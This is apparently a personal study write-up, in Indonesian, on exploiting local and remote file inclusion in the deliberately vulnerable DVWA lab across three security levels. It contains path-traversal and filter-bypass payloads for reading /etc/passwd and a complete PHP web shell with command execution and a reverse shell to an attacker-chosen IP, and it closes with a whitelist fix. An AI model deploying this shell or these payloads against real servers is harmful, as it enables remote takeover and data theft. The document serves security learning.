DVWA Series: File Inclusion

⏱️6 min read

Intro

DVWA adalah aplikasi web yang dirancang khusus untuk memiliki kerentanan agar kita bisa mempelajarinya. Tujuan dari DVWA adalah mempraktikan beberapa kerentanan web yang umum ditemui dengan berbagai level kesulitan dan antarmuka langsung yang sederhana.

Disclaimer

Tujuan saya menulis dokumentasi ini adalah sebagai catatan pribadi dalam pempelajari keamanan aplikasi web. Saya tidak bertanggung jawab atas segala tindakan ilegal yang dipelajari dari dokumentasi ini.

Apa itu File Inclusion

File Inclusion adalah serangan yang ditujukan kepada website yang memiliki celah keamanan yang biasanya menggunakan fungsi memanggil file melalui suatu inputan dinamis, dalam hal ini berarti seseorang dapat mengganti alamat file yang akan dipanggil dan kemudian diproses.

Efek dari serangan ini peretas dapat saja menyisipkan shell backdoor/malware, mengambil informasi penting pada server, merubah dan menghapus data

Terdapat 2 jenis file inclusion, yaitu:

  • Local File Inclusion (LFI), hanya bisa melihat data yang ada di dalam server tersebut.

  • Remote File Inclusion (RFI), kita bisa mengambil file diluar jaringan agar bisa dijalankan.

Security Level: Low


<?php



// The page we wish to display
$file = $_GET[ 'page' ];



?>

Information Gathering

Saat pertama kali kita mengakses halaman file inclusion, terdapat parameter page pada URL yang memanggil file include.php.

Kemudian jika kita klik pada salah satu dari ketiga pilihan misal: file2.php, maka nilai parameter page akan menggunakan nama file yang kita pilih.

Coba kita ubah parameter menjadi

../../../../../../../etc/passwd

maka akan muncul isi file dari passwd pada server 3

Hal tersebut menandakan bahwa web tersebut rentan terhadap serangan File Inclusion

Launch Attack

Karena ada 2 jenis file inclusion, kita akan mencoba keduanya.

Local File Inclusion

Contohnya kita ingin melihat isi file /etc/passwd maka kita bisa gunakan payload yang sama seperti di atas

../../../../../../../etc/passwd

Keterangan: ../ berarti kita akan mundur ke direktori sebelumnya, kita gunakan bayak ../ agar kita bisa sampai ke direktori root

Hasilnya akan sebagai berikut 3

Remote File Inclusion

Sebelum menjalankan remote file inclusion pada DVWA pastikan PHP function allow_url_include: Enable 4

Cara menghidupkannya adalah dengan mengganti konfigurasi pada php.ini Jika DVWA terinstall menggunakan docker dapat menggunakan perintah

sudo docker exec <nama container dvwa> sed -i 's/allow_url_include = Off/allow_url_include = On/g' /etc/php/7.0/apache2/php.ini
sudo docker exec <nama container dvwa> /etc/init.d/apache2 reload

Kemudian untuk menjalankan serangan, kita perlu membuat shell terlebih dahulu, lalu kita upload ke suatu server/hosting/VPS yang bisa di akses oleh server target.

Kita buat shell yang berisi kode:

<?php
/*
	Name : KNOCK KNOCK
	Owner : Naman Sahore
	Email : [email protected]
	Published on : 30th July 2017

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

	This shell scrpit can be used for performing Remote File Inclusion
	as well as Local File Inclusion( by adding .php at the end of
	script) and getting REVERSE SHELL from vulnerable server
	or performing shell command on browser.

	HOW TO USE:
	FOR RFI
		Clear .txt extention and upload the script on a server and
		preform RFI.
	FOR LFI
		Clear .txt and add .php extention to the script and
		perform LFI by uploading shell script on a
		vulnerable server.

		Comment for more information.
*/
?>
<body style="background-color:rgb(200,200,200);">
	<form action="<?php $link = (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; echo "{$link}"?>" method="POST">
	<center>
		<strong>
		</br>
		<h1 color="rgb(255, 0, 31)"><b>KNOCK KNOCK</b></h1>
		</br>
		<h2 color="rgb(255, 0, 31)"><b>SHELL</b></h2>
			COMMAND : <input type="text" name="cmd" value=""/>
			<input type="submit" name="submit" value="CMD" />
		</br></br>
		<h2 color="rgb(255, 0, 31)"><b>R SHELL USING PHP</b></h2>
		<p><b><i>*NOTE : </b>Before triggring rshell, start listening</i></p>
		</br>
		IP : <input type="text" name="ip" value=""/>&nbsp;PORT : <input type="text" name="port" value=""/>
		<input type="submit" name="submit" value="R SHELL" />
		</strong>
	</center>
	<br />
	<strong>
	<font size="5">
		<?php
		if(isset($_POST["cmd"])){
			$cmd=$_POST["cmd"];
			$output = shell_exec("{$cmd} 2>&1");
			echo $cmd."</br>"."<pre>".$output."</pre>";
		}
		if (isset($_POST["ip"]) && isset($_POST["port"])) {
			$sock="sock";
			$cmd = "php -r '$"."{$sock}"."=fsockopen("."\"{$_POST["ip"]}\"".","."{$_POST["port"]}".");shell_exec(\""."/bin/sh -i <&3 >&3 2>&3"."\");'";
			if (strlen($cmd)>66) {
				shell_exec("{$cmd} 2>&1");
			}
		}
		?>
	</font>
	</strong>
</body>

Kode shell tersebut bersumber dari https://raw.githubusercontent.com/namansahore/Remote-File-Inclusion-Shell/master/knock.txt

Simpan shell tersebut dengan ekstensi .txt Seelah diupload ke VPS/Hosting milik kalian, panggil file tersebut dengan memasukkan link pada parameter yang memiliki celah file inclusion contohnya

http://192.168.1.6/vulnerabilities/fi/?page=http://ip-address-VPS-kita/knock.txt

Maka kalau berhasil, kita bisa menjalankan RCE seperti gambar berikut: 5

Security Level: Medium


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

Information Gathering

Kali ini jika kita kita menggunakan ../ atau ..\" untuk LFI dan http:// atau https:// untuk RFI, maka yang teks yang mengandung kata tersebut akan dihilangkan oleh fungsi str_replace().

Untuk mengatasi hal ini saya menemukan cara, yaitu menggunakan payload berikut:

..././ -> ../

dan

hthttp://tp://ip-address/knock.txt -> http://ip-address/knock.txt

Launch Attack

Sama seperti level low, kita akan melakukan LFI dan RFI

Local File Inclusion

Pada LFI kita akan melihat isi dari file passwd menggunakan payload:

..././..././..././..././..././etc/passwd

6

Remote File Inclusion

Sama seperti level medium, kita perlu upload shell terlebih dahulu, kemudian kita masukkan payload sebagai berikut:

hthttp://tp://ip-address/knock.txt

7

Security Level: High


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

Information Gathering

Perhatikan pada source code di atas, parameter page hanya diizinkan ketika file tersebut diakses dengan diawali kata “file” atau bernama include.php. Jika salah, maka akan muncul pesan Error

Validasi ini memiliki celah, yaitu kita bisa menggunakan protokol file:// untuk melihat file yang ada di server lokal target. Server akan mengizinkannya, karena memang diawali dengan kata “file”.

Karena protokol ini hanya untuk melihat file yang ada di dalam server target, maka kita hanya bisa melakukan Local File Inclusion.

Lunch Attack

Kita gunakan payload

file:///etc/passwd

8

Menghindari File Inclusion

`<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // This isn't the page we want! echo "ERROR: File not found!";
    exit;
}

?>`